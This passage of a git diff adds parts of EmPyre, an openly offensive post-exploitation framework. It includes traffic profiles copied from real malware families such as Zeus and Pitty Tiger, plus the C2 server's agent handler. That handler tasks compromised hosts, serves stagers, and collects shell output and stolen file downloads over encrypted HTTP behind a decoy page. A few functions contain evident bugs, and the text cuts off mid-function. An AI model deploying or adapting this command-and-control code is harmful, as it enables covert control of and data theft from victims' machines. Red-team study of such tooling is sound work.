http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/ +# https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/APT/comfoo.profile + +"/CWoNaJLBo/VTNeWw11212/|Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)|Accept:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*|Accept-Language:en-en" \ No newline at end of file diff --git a/data/profiles/fiesta.txt b/data/profiles/fiesta.txt new file mode 100644 index 0000000..beb10c5 --- /dev/null +++ b/data/profiles/fiesta.txt @@ -0,0 +1,5 @@ +# Fiesta Exploit Kit traffic profile +# http://malware-traffic-analysis.net/2014/04/05/index.html +# https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/crimeware/fiesta.profile + +"/rmvk30g/|Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_11|Accept:text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2" \ No newline at end of file diff --git a/data/profiles/pitty_tiger.txt b/data/profiles/pitty_tiger.txt new file mode 100644 index 0000000..542cd7b --- /dev/null +++ b/data/profiles/pitty_tiger.txt @@ -0,0 +1,5 @@ +# Basic Pitty Tiger RAT profile +# http://bitbucket.cassidiancybersecurity.com/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf +# https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/APT/pitty_tiger.profile + +"/FC001/JOHN|Microsoft Internet Explorer" \ No newline at end of file diff --git a/data/profiles/zeus.txt b/data/profiles/zeus.txt new file mode 100644 index 0000000..4a69e2e --- /dev/null +++ b/data/profiles/zeus.txt @@ -0,0 +1,5 @@ +# Basic Zeus variant profile +# https://malwr.com/analysis/NjIwNTU2ODA2OTUxNDcwNmJiMTMzYzk4YzU4NWQyZDQ/ +# https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/crimeware/zeus.profile + +"/metro91/admin/1/ppptp.jpg,/metro91/admin/1/secure.php|Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)|Accept:*/*" \ No newline at end of file diff --git a/empyre b/empyre new file mode 100755 index 0000000..c7d8864 --- /dev/null +++ b/empyre @@ -0,0 +1,21 @@ +#!/usr/bin/python + +import sqlite3, argparse + +# Empyre imports +from lib.common import empyre +from lib.common import listeners +from lib.common import http +from lib.common import packets + + +if __name__ == '__main__': + + parser = argparse.ArgumentParser() + parser.add_argument('--debug', action='store_true', help='Debug mode for output.') + parser.add_argument('-debug', action='store_true', help='Debug mode for output.') + args = parser.parse_args() + + main = empyre.MainMenu(args=args) + main.cmdloop() + diff --git a/lib/__init__.py b/lib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lib/common/__init__.py b/lib/common/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lib/common/agents.py b/lib/common/agents.py new file mode 100644 index 0000000..4e9b8f8 --- /dev/null +++ b/lib/common/agents.py @@ -0,0 +1,1333 @@ +""" + +Main agent handling functionality for EmPyre. + +Database methods related to agents, as well as +the GET and POST handlers (process_get() and process_post()) +used to process checkin and result requests. + +handle_agent_response() is where the packets are parsed and +the response types are handled as appropriate. + +""" + +from pydispatch import dispatcher +import sqlite3 +import pickle +import base64 +import string +import os +import iptools +from binascii import hexlify +from binascii import unhexlify + +# EmPyre imports +import encryption +import helpers +import http +import packets +import messages + + +class Agents: + + def __init__(self, MainMenu, args=None): + + # pull out the controller objects + self.mainMenu = MainMenu + self.conn = MainMenu.conn + self.listeners = None + self.modules = None + self.stager = None + self.installPath = self.mainMenu.installPath + + self.args = args + + # internal agent dictionary for the client's session key and tasking/result sets + # self.agents[sessionID] = [ clientSessionKey, + # [tasking1, tasking2, ...], + # [results1, results2, ...], + # X[tab-completable function names for a script-import], + # current URIs, + # old URIs + # ] + self.agents = {} + + # reinitialize any agents that already exist in the database + agentIDs = self.get_agent_ids() + for agentID in agentIDs: + sessionKey = self.get_agent_session_key(agentID) + + # get the current and previous URIs for tasking + uris,old_uris = self.get_agent_uris(agentID) + + if not old_uris: + old_uris = "" + + # [sessionKey, taskings, results, tasking uris, old uris] + self.agents[agentID] = [sessionKey, [], [], uris, old_uris] + + # pull out common configs from the main menu object in empyre.py + self.ipWhiteList = self.mainMenu.ipWhiteList + self.ipBlackList = self.mainMenu.ipBlackList + self.stage0 = self.mainMenu.stage0 + self.stage1 = self.mainMenu.stage1 + self.stage2 = self.mainMenu.stage2 + + + ############################################################### + # + # Misc agent methods + # + ############################################################### + + def remove_agent(self, sessionID): + """ + Remove an agent to the internal cache and database. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + # remove the agent from the internal cache + self.agents.pop(sessionID, None) + + # remove an agent from the database + cur = self.conn.cursor() + cur.execute("DELETE FROM agents WHERE session_id like ?", [sessionID]) + cur.close() + + + def add_agent(self, sessionID, sessionKey, externalIP, delay, jitter, profile, killDate, workingHours, lostLimit, nonce): + """ + Add an agent to the internal cache and database. + """ + + cur = self.conn.cursor() + + currentTime = helpers.get_datetime() + checkinTime = currentTime + lastSeenTime = currentTime + + # config defaults, just in case something doesn't parse + # ...we shouldn't ever hit this... + requestUris = "post.php" + userAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" + additionalHeaders = "" + + # profile format -> requestUris|user_agent|additionalHeaders + parts = profile.split("|") + if len(parts) == 2: + requestUris = parts[0] + userAgent = parts[1] + elif len(parts) > 2: + requestUris = parts[0] + userAgent = parts[1] + additionalHeaders = "|".join(parts[2:]) + + cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,nonce,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,nonce,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours,lostLimit)) + cur.close() + + # initialize the tasking/result buffers along with the client session key + sessionKey = self.get_agent_session_key(sessionID) + self.agents[sessionID] = [sessionKey, [],[],[], requestUris, ""] + + # report the initial checkin in the reporting database + cur = self.conn.cursor() + cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (sessionID,"checkin",checkinTime,helpers.get_datetime())) + cur.close() + + + def is_agent_present(self, sessionID): + """ + Check if the sessionID is currently in the cache. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + return sessionID in self.agents + + + def is_uri_present(self, resource): + """ + Check if the resource is currently in the uris or old_uris for any agent. + """ + + for option,values in self.agents.iteritems(): + if resource in values[-1] or resource in values [-2]: + return True + return False + + + def is_ip_allowed(self, IP): + """ + Check if the IP meshes with the whitelist/blacklist, if set. + """ + + if self.ipBlackList: + if self.ipWhiteList: + return IP in self.ipWhiteList and IP not in self.ipBlackList + else: + return IP not in self.ipBlackList + if self.ipWhiteList: + return IP in self.ipWhiteList + else: + return True + + + def save_file(self, sessionID, path, data, append=False): + """ + Save a file download for an agent to the appropriately constructed path. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_name(sessionID) + if nameid : sessionID = nameid + + parts = path.split("/") + + # construct the appropriate save path + savePath = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1]) + filename = parts[-1] + + # fix for 'skywalker' exploit by @zeroSteiner + safePath = os.path.abspath("%s/downloads/%s/" %(self.installPath, sessionID)) + if not os.path.abspath(savePath+"/"+filename).startswith(safePath): + dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" %(sessionID), sender="Agents") + dispatcher.send("[!] attempted overwrite of %s with data %s" %(path, data), sender="Agents") + return + + # make the recursive directory structure if it doesn't already exist + if not os.path.exists(savePath): + os.makedirs(savePath) + + # overwrite an existing file + if not append: + f = open(savePath+"/"+filename, 'wb') + else: + # otherwise append + f = open(savePath+"/"+filename, 'ab') + + f.write(data) + f.close() + + # notify everyone that the file was downloaded + dispatcher.send("[+] Part of file %s from %s saved" %(filename, sessionID), sender="Agents") + + + def save_module_file(self, sessionID, path, data): + """ + Save a module output file to the appropriate path. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_name(sessionID) + if nameid : sessionID = nameid + + parts = path.split("/") + # construct the appropriate save path + savePath = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1]) + filename = parts[-1] + + # fix for 'skywalker' exploit by @zeroSteiner + safePath = os.path.abspath("%s/downloads/%s/" %(self.installPath, sessionID)) + if not os.path.abspath(savePath+"/"+filename).startswith(safePath): + dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" %(sessionID), sender="Agents") + dispatcher.send("[!] attempted overwrite of %s with data %s" %(path, data), sender="Agents") + return + + # make the recursive directory structure if it doesn't already exist + if not os.path.exists(savePath): + os.makedirs(savePath) + + # save the file out + f = open(savePath+"/"+filename, 'w') + f.write(data) + f.close() + + # notify everyone that the file was downloaded + dispatcher.send("[+] File "+path+" from "+str(sessionID)+" saved", sender="Agents") + + return "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1]) + "/" + filename + + + def save_agent_log(self, sessionID, data): + """ + Save the agent console output to the agent's log file. + """ + + name = self.get_agent_name(sessionID) + + savePath = self.installPath + "/downloads/"+str(name)+"/" + + # make the recursive directory structure if it doesn't already exist + if not os.path.exists(savePath): + os.makedirs(savePath) + + currentTime = helpers.get_datetime() + + f = open(savePath+"/agent.log", 'a') + f.write("\n" + currentTime + " : " + "\n") + f.write(data + "\n") + f.close() + + + ############################################################### + # + # Methods to get information from agent fields. + # + ############################################################### + + + def get_agents(self): + """ + Return all active agents from the database. + """ + + cur = self.conn.cursor() + cur.execute("SELECT * FROM agents") + results = cur.fetchall() + cur.close() + return results + + + def get_agent_names(self): + """ + Return all names of active agents from the database. + """ + + cur = self.conn.cursor() + cur.execute("SELECT name FROM agents") + results = cur.fetchall() + cur.close() + # make sure names all ascii encoded + results = [r[0].encode('ascii','ignore') for r in results] + return results + + + def get_agent_ids(self): + """ + Return all IDs of active agents from the database. + """ + + cur = self.conn.cursor() + cur.execute("SELECT session_id FROM agents") + results = cur.fetchall() + cur.close() + # make sure names all ascii encoded + results = [r[0].encode('ascii','ignore') for r in results] + return results + + + def get_agent(self, sessionID): + """ + Return complete information for the specified agent from the database. + """ + + cur = self.conn.cursor() + cur.execute("SELECT * FROM agents WHERE session_id=?", [sessionID]) + agent = cur.fetchone() + cur.close() + return agent + + + def get_agent_internal_ip(self, sessionID): + """ + Return the internal IP for the agent from the database. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + cur = self.conn.cursor() + cur.execute("SELECT internal_ip FROM agents WHERE session_id=?", [sessionID]) + agent = cur.fetchone() + cur.close() + return agent + + + def is_agent_elevated(self, sessionID): + """ + Check whether a specific sessionID is currently elevated. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + cur = self.conn.cursor() + cur.execute("SELECT high_integrity FROM agents WHERE session_id=?", [sessionID]) + elevated = cur.fetchone() + cur.close() + + if elevated and elevated != None and elevated != (): + return int(elevated[0]) == 1 + else: + return False + + + def get_py_version(self, sessionID): + """ + Return the current Python version for this agent. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + cur = self.conn.cursor() + cur.execute("SELECT py_version FROM agents WHERE session_id=?", [sessionID]) + py_version = cur.fetchone() + cur.close() + + if py_version and py_version != None: + if type(py_version) is str: + return sessionKey + else: + return py_version[0] + + + def get_agent_session_key(self, sessionID): + """ + Return AES session key for this sessionID. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + cur = self.conn.cursor() + cur.execute("SELECT session_key FROM agents WHERE session_id=?", [sessionID]) + sessionKey = cur.fetchone() + cur.close() + + if sessionKey and sessionKey != None: + if type(sessionKey) is str: + return sessionKey + else: + return sessionKey[0] + + + def get_agent_nonce(self, sessionID): + """ + Return nonce for this sessionID. + """ + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + cur = self.conn.cursor() + cur.execute("SELECT nonce FROM agents WHERE session_id=?", [sessionID]) + nonce = cur.fetchone() + cur.close() + + if nonce and nonce != None: + if type(nonce) is str: + return nonce + else: + return nonce[0] + + + def get_agent_results(self, sessionID): + """ + Get the agent's results buffer. + """ + + agentName = sessionID + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + if sessionID not in self.agents: + print helpers.color("[!] Agent " + str(agentName) + " not active.") + else: + results = self.agents[sessionID][2] + self.agents[sessionID][2] = [] + return "\n".join(results) + + + def get_agent_id(self, name): + """ + Get an agent sessionID based on the name. + """ + + cur = self.conn.cursor() + cur.execute("SELECT session_id FROM agents WHERE name=?", [name]) + results = cur.fetchone() + if results: + return results[0] + else: + return None + + + def get_agent_name(self, sessionID): + """ + Get an agent name based on sessionID. + """ + + cur = self.conn.cursor() + cur.execute("SELECT name FROM agents WHERE session_id=? or name = ?", [sessionID, sessionID]) + results = cur.fetchone() + if results: + return results[0] + else: + return None + + + def get_agent_hostname(self, sessionID): + """ + Get an agent's hostname based on sessionID. + """ + + cur = self.conn.cursor() + cur.execute("SELECT hostname FROM agents WHERE session_id=? or name = ?", [sessionID, sessionID]) + results = cur.fetchone() + if results: + return results[0] + else: + return None + + + def get_agent_uris(self, sessionID): + """ + Get the current and old URIs for an agent from the database. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + cur = self.conn.cursor() + cur.execute("SELECT uris, old_uris FROM agents WHERE session_id=?", [sessionID]) + uris = cur.fetchone() + cur.close() + + return uris + + + def get_autoruns(self): + """ + Get any global script autoruns. + """ + + try: + cur = self.conn.cursor() + cur.execute("SELECT autorun_command FROM config") + results = cur.fetchone() + if results: + autorunCommand = results[0] + else: + autorunCommand = '' + + cur = self.conn.cursor() + cur.execute("SELECT autorun_data FROM config") + results = cur.fetchone() + if results: + autorunData = results[0] + else: + autorunData = '' + cur.close() + + return [autorunCommand, autorunData] + except: + pass + + + ############################################################### + # + # Methods to update agent information fields. + # + ############################################################### + + def update_agent_results(self, sessionID, results): + """ + Update the internal agent result cache. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + if sessionID in self.agents: + self.agents[sessionID][2].append(results) + else: + dispatcher.send("[!] Non-existent agent " + str(sessionID) + " returned results", sender="Agents") + + + def update_agent_sysinfo(self, sessionID, listener="", external_ip="", internal_ip="", username="", high_integrity=0, hostname="", os_details="", process_id="", py_version=""): + """ + Update an agent's system information. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + cur = self.conn.cursor() + cur.execute("UPDATE agents SET listener = ?, internal_ip = ?, username = ?, high_integrity = ?, hostname = ?, os_details = ?, process_id = ?, py_version = ? WHERE session_id=?", [listener, internal_ip, username, high_integrity, hostname, os_details, process_id, py_version, sessionID]) + cur.close() + + + def update_agent_lastseen(self, sessionID): + """ + Update the agent's last seen timestamp. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + currentTime = helpers.get_datetime() + cur = self.conn.cursor() + cur.execute("UPDATE agents SET lastseen_time=? WHERE session_id=?", [currentTime, sessionID]) + cur.close() + + + def update_agent_profile(self, sessionID, profile): + """ + Update the agent's "uri1,uri2,...|useragent|headers" profile. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + parts = profile.strip("\"").split("|") + cur = self.conn.cursor() + + # get the existing URIs from the agent and save them to + # the old_uris field, so we can ensure that it can check in + # to get the new URI tasking... bootstrapping problem :) + cur.execute("SELECT uris FROM agents WHERE session_id=?", [sessionID]) + oldURIs = cur.fetchone()[0] + + if sessionID not in self.agents: + print helpers.color("[!] Agent " + agentName + " not active.") + else: + # update the URIs in the cache + self.agents[sessionID][-1] = oldURIs + # new URIs + self.agents[sessionID][-2] = parts[0] + + # if no additional headers + if len(parts) == 2: + cur.execute("UPDATE agents SET uris=?, user_agent=?, old_uris=? WHERE session_id=?", [parts[0], parts[1], oldURIs, sessionID]) + else: + # if additional headers + cur.execute("UPDATE agents SET uris=?, user_agent=?, headers=?, old_uris=? WHERE session_id=?", [parts[0], parts[1], parts[2], oldURIs, sessionID]) + + cur.close() + + + def rename_agent(self, oldname, newname): + """ + Update the agent's last seen timestamp. + """ + + # rename the logging/downloads folder + oldPath = self.installPath + "/downloads/"+str(oldname)+"/" + newPath = self.installPath + "/downloads/"+str(newname)+"/" + + # check if the folder is already used + if os.path.exists(newPath): + print helpers.color("[!] Name already used by current or past agent.") + return False + else: + # signal in the log that we've renamed the agent + self.save_agent_log(oldname, "[*] Agent renamed from " + str(oldname) + " to " + str(newname)) + + # move the old folder path to the new one + if os.path.exists(oldPath): + os.rename(oldPath, newPath) + + # rename the agent in the database + cur = self.conn.cursor() + cur.execute("UPDATE agents SET name=? WHERE name=?", [newname, oldname]) + cur.close() + + # report the agent rename in the reporting database + cur = self.conn.cursor() + cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (oldname,"rename",newname,helpers.get_datetime())) + cur.close() + + return True + + + def set_agent_field(self, field, value, sessionID): + """ + Set field:value for a particular sessionID. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + cur = self.conn.cursor() + cur.execute("UPDATE agents SET "+str(field)+"=? WHERE session_id=?", [value, sessionID]) + cur.close() + + + def set_autoruns(self, taskCommand, moduleData): + """ + Set the global script autorun in the config. + """ + + try: + cur = self.conn.cursor() + cur.execute("UPDATE config SET autorun_command=?", [taskCommand]) + cur.execute("UPDATE config SET autorun_data=?", [moduleData]) + cur.close() + except: + print helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema.") + print helpers.color("[!] Warning: this will reset ALL agent connections!") + + + def clear_autoruns(self): + """ + Clear the currently set global script autoruns in the config. + """ + + try: + cur = self.conn.cursor() + cur.execute("UPDATE config SET autorun_command=''") + cur.execute("UPDATE config SET autorun_data=''") + cur.close() + except: + print helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema.") + print helpers.color("[!] Warning: this will reset ALL agent connections!") + + + ############################################################### + # + # Agent tasking methods + # + ############################################################### + + def add_agent_task(self, sessionID, taskName, task=""): + """ + Add a task to the specified agent's buffer. + """ + + agentName = sessionID + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + if sessionID not in self.agents: + print helpers.color("[!] Agent " + str(agentName) + " not active.") + else: + if sessionID: + dispatcher.send("[*] Tasked " + str(sessionID) + " to run " + str(taskName), sender="Agents") + self.agents[sessionID][1].append([taskName, task]) + + # write out the last tasked script to "LastTask.py" if in debug mode + if self.args and self.args.debug: + f = open(self.installPath + '/LastTask.py', 'w') + f.write(task) + f.close() + + # report the agent tasking in the reporting database + cur = self.conn.cursor() + cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (sessionID,"task",taskName + " - " + task[0:30],helpers.get_datetime())) + cur.close() + + + def get_agent_tasks(self, sessionID): + """ + Retrieve tasks for our agent. + """ + + agentName = sessionID + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + if sessionID not in self.agents: + print helpers.color("[!] Agent " + str(agentName) + " not active.") + return [] + else: + tasks = self.agents[sessionID][1] + # clear the taskings out + self.agents[sessionID][1] = [] + return tasks + + + def get_agent_task(self, sessionID): + """ + Pop off the agent's top task. + """ + + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + try: + # pop the first task off the front of the stack + return self.agents[sessionID][1].pop(0) + except: + [] + + + def clear_agent_tasks(self, sessionID): + """ + Clear out the agent's task buffer. + """ + + agentName = sessionID + + if sessionID.lower() == "all": + for option,values in self.agents.iteritems(): + self.agents[option][1] = [] + else: + # see if we were passed a name instead of an ID + nameid = self.get_agent_id(sessionID) + if nameid : sessionID = nameid + + if sessionID not in self.agents: + print helpers.color("[!] Agent " + agentName + " not active.") + else: + self.agents[sessionID][1] = [] + + + def handle_agent_response(self, sessionID, responseName, data): + """ + Handle the result packet based on sessionID and responseName. + """ + + agentSessionID = sessionID + agentName = sessionID + + # print "responseName:",responseName + # print "responseData:",data + + # see if we were passed a name instead of an ID + nameid = self.get_agent_name(sessionID) + if nameid : sessionID = nameid + + # report the agent result in the reporting database + cur = self.conn.cursor() + cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentSessionID,"result",responseName,helpers.get_datetime())) + cur.close() + + + # TODO: for heavy traffic packets, check these first (i.e. SOCKS?) + # so this logic is skipped + + if responseName == "ERROR": + # error code + dispatcher.send("[!] Received error response from " + str(sessionID), sender="Agents") + self.update_agent_results(sessionID, data) + # update the agent log + self.save_agent_log(sessionID, "[!] Error response: " + data) + + + elif responseName == "TASK_SYSINFO": + # sys info response -> update the host info + parts = data.split("|") + if len(parts) < 10: + dispatcher.send("[!] Invalid sysinfo response from " + str(sessionID), sender="Agents") + else: + # extract appropriate system information + listener = parts[0].encode('ascii','ignore') + username = parts[1].encode('ascii','ignore') + high_integrity = parts[2].encode('ascii','ignore') + high_integrity = 1 if high_integrity.lower() == "true" else 0 + hostname = parts[3].encode('ascii','ignore') + internal_ip = parts[4].encode('ascii','ignore') + os_details = parts[5].encode('ascii','ignore') + process_id = parts[6].encode('ascii','ignore') + py_version = parts[7].encode('ascii','ignore') + + # update the agent with this new information + self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, high_integrity=high_integrity, hostname=hostname, os_details=os_details, py_version=py_version) + + sysinfo = '{0: <18}'.format("Listener:") + listener + "\n" + sysinfo += '{0: <18}'.format("Internal IP:") + internal_ip + "\n" + sysinfo += '{0: <18}'.format("Username:") + username + "\n" + sysinfo += '{0: <18}'.format("High Integrity:") + str(high_integrity) + "\n" + sysinfo += '{0: <18}'.format("Hostname:") + hostname + "\n" + sysinfo += '{0: <18}'.format("OS:") + os_details + "\n" + sysinfo += '{0: <18}'.format("Process ID:") + process_id + "\n" + sysinfo += '{0: <18}'.format("PyVersion:") + py_version + + self.update_agent_results(sessionID, sysinfo) + # update the agent log + self.save_agent_log(sessionID, sysinfo) + + + elif responseName == "TASK_EXIT": + # exit command response + + # let everyone know this agent exited + dispatcher.send(data, sender="Agents") + + # update the agent results and log + # self.update_agent_results(sessionID, data) + self.save_agent_log(sessionID, data) + + # remove this agent from the cache/database + self.remove_agent(sessionID) + + + elif responseName == "TASK_SHELL": + # shell command response + self.update_agent_results(sessionID, data) + # update the agent log + self.save_agent_log(sessionID, data) + + + elif responseName == "TASK_DOWNLOAD": + # file download + parts = data.split("|") + if len(parts) != 3: + dispatcher.send("[!] Received invalid file download response from " + sessionID, sender="Agents") + else: + index, path, data = parts + # decode the file data and save it off as appropriate + fileData = helpers.decode_base64(data) + name = self.get_agent_name(sessionID) + + if index == "0": + self.save_file(name, path, fileData) + else: + self.save_file(name, path, fileData, append=True) + # update the agent log + msg = "file download: " + str(path) + ", part: " + str(index) + self.save_agent_log(sessionID, msg) + + + elif responseName == "TASK_UPLOAD": + # shell command response + self.update_agent_results(sessionID, data) + # update the agent log + self.save_agent_log(sessionID, data) + + + elif responseName == "TASK_GETJOBS": + + if not data or data.strip().strip() == "": + data = "[*] No active jobs" + + # running jobs + self.update_agent_results(sessionID, data) + # update the agent log + self.save_agent_log(sessionID, data) + + + elif responseName == "TASK_STOPJOB": + # job kill response + self.update_agent_results(sessionID, data) + # update the agent log + self.save_agent_log(sessionID, data) + + + elif responseName == "TASK_CMD_WAIT": + + # dynamic script output -> blocking + self.update_agent_results(sessionID, data) + + # update the agent log + self.save_agent_log(sessionID, data) + + + elif responseName == "TASK_CMD_WAIT_SAVE": + # dynamic script output -> blocking, save data + name = self.get_agent_name(sessionID) + + # extract the file save prefix and extension + prefix = data[0:15].strip() + extension = data[15:20].strip() + fileData = helpers.decode_base64(data[20:]) + + # save the file off to the appropriate path + savePath = prefix + "/" + helpers.get_file_datetime() + "." + extension + finalSavePath = self.save_module_file(name, savePath, fileData) + + # update the agent log + msg = "Output saved to ." + finalSavePath + self.update_agent_results(sessionID, msg) + self.save_agent_log(sessionID, msg) + + + elif responseName == "TASK_CMD_JOB": + + # dynamic script output -> non-blocking + self.update_agent_results(sessionID, data) + # update the agent log + self.save_agent_log(sessionID, data) + + + elif responseName == "TASK_CMD_JOB_SAVE": + # dynamic script output -> non-blocking, save data + name = self.get_agent_name(sessionID) + + # extract the file save prefix and extension + prefix = data[0:15].strip() + extension = data[15:20].strip() + fileData = helpers.decode_base64(data[20:]) + + # save the file off to the appropriate path + savePath = prefix + "/" + helpers.get_file_datetime() + "." + extension + finalSavePath = self.save_module_file(name, savePath, fileData) + + # update the agent log + msg = "Output saved to ." + finalSavePath + self.update_agent_results(sessionID, msg) + self.save_agent_log(sessionID, msg) + + + else: + print helpers.color("[!] Unknown response " + str(responseName) + " from " +str(sessionID)) + + + ############################################################### + # + # HTTP processing handlers + # + ############################################################### + + def process_get(self, port, clientIP, sessionID, resource): + """ + Process a GET request. + """ + + # check to make sure this IP is allowed + if not self.is_ip_allowed(clientIP): + dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents") + return (200, http.default_page()) + + # see if the requested resource is in our valid task URI list + if (self.is_uri_present(resource)): + # if no session ID was supplied + if not sessionID or sessionID == "": + dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" with no session ID.", sender="Agents") + # return a 404 error code and no resource + return (404, "") + + # if the sessionID doesn't exist in the cache + # TODO: put this code before the URI present? ... + if not self.is_agent_present(sessionID): + dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" with invalid session ID.", sender="Agents") + return (404, "") + + # if the ID is currently in the cache, see if there's tasking for the agent + else: + + # update the client's last seen time + self.update_agent_lastseen(sessionID) + + # retrieve all agent taskings from the cache + taskings = self.get_agent_tasks(sessionID) + + if taskings and taskings != []: + + allTaskPackets = "" + + # build tasking packets for everything we have + for tasking in taskings: + taskName, taskData = tasking + + # if there is tasking, build a tasking packet + taskPacket = packets.build_task_packet(taskName, taskData) + + allTaskPackets += taskPacket + + # get the session key for the agent + sessionKey = unhexlify(self.agents[sessionID][0]) + + # encrypt the tasking packets with the agent's session key + encryptedData = encryption.aes_encrypt_then_hmac(sessionKey, allTaskPackets) + return (200, encryptedData) + + # if no tasking for the agent + else: + # just return the default page + return (200, http.default_page()) + + # step 1 of negotiation -> client requests stage1 (stager.py) + elif resource.lstrip("/").split("?")[0] == self.stage0: + # return 200/valid and the initial stage code + + if self.args and self.args.debug: + dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents") + + # get the staging information for the given listener, keyed by port + # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,lost_limit + config = self.listeners.get_staging_information(port=port) + host = config[0] + stagingkey = config[3] + profile = config[6] + stage = None + + # if we have a pivot or hop listener, use that config information instead for the stager + if "?" in resource: + parts = resource.split("?") + if len(parts) == 2: + decoded = helpers.decode_base64(parts[1]) + + # http://server:port for a pivot listener + if decoded.count("/") == 2: + host = decoded + else: + # otherwise we have a http://server:port/hop.php listener + stage = self.stagers.generate_stager_hop(decoded, stagingkey, profile) + + if not stage: + # generate the stage with appropriately patched information + stage = self.stagers.generate_stager(host, stagingkey, profile) + + # step 2 of negotiation -> return stager.py (stage 1) + return (200, stage) + + # default response + else: + # otherwise return the default page + return (200, http.default_page()) + + + def process_post(self, port, clientIP, sessionID, resource, postData): + """ + Process a POST request. + """ + + # check to make sure this IP is allowed + if not self.is_ip_allowed(clientIP): + dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents") + return (200, http.default_page()) + + # check if requested resource in is session URIs for any agent profiles in the database + if (self.is_uri_present(resource)): + + # if the sessionID doesn't exist in the database + if not self.is_agent_present(sessionID): + + # alert everyone to an irregularity + dispatcher.send("[!] Agent "+str(sessionID)+" posted results but isn't in the database!", sender="Agents") + return (404, "") + + # if the ID is currently in the database, process the results + else: + + # extract the agent's session key + sessionKey = unhexlify(self.agents[sessionID][0]) + + try: + # verify, decrypt and depad the packet + packet = encryption.aes_decrypt_and_verify(sessionKey, postData) + + # update the client's last seen time + self.update_agent_lastseen(sessionID) + + # process the packet and extract necessary data + # [(responseName, counter, length, data), ...] + responsePackets = packets.parse_result_packets(packet) + counter = responsePackets[-1][1] + + results = False + + # validate the counter in the packet in the setcode.replace + # if counter and packets.validate_counter(counter): + + results = True + + # process each result packet + for responsePacket in responsePackets: + (responseName, counter, length, data) = responsePacket + + # process the agent's response + self.handle_agent_response(sessionID, responseName, data) + + if results: + # signal that this agent returned results + name = self.get_agent_name(sessionID) + dispatcher.send("[*] Agent "+str(name)+" returned results.", sender="Agents") + + # return a 200/valid + return (200, "") + + # else: + # dispatcher.send("[!] Invalid counter value from "+str(sessionID), sender="Agents") + # return (404, "") + + except Exception as e: + dispatcher.send("[!] Error processing result packet from "+str(sessionID) + ": " + str(e), sender="Agents") + return (404, "") + + + # step 3 of negotiation -> client posts public key + elif resource.lstrip("/").split("?")[0] == self.stage1: + + if self.args and self.args.debug: + dispatcher.send("[*] Agent 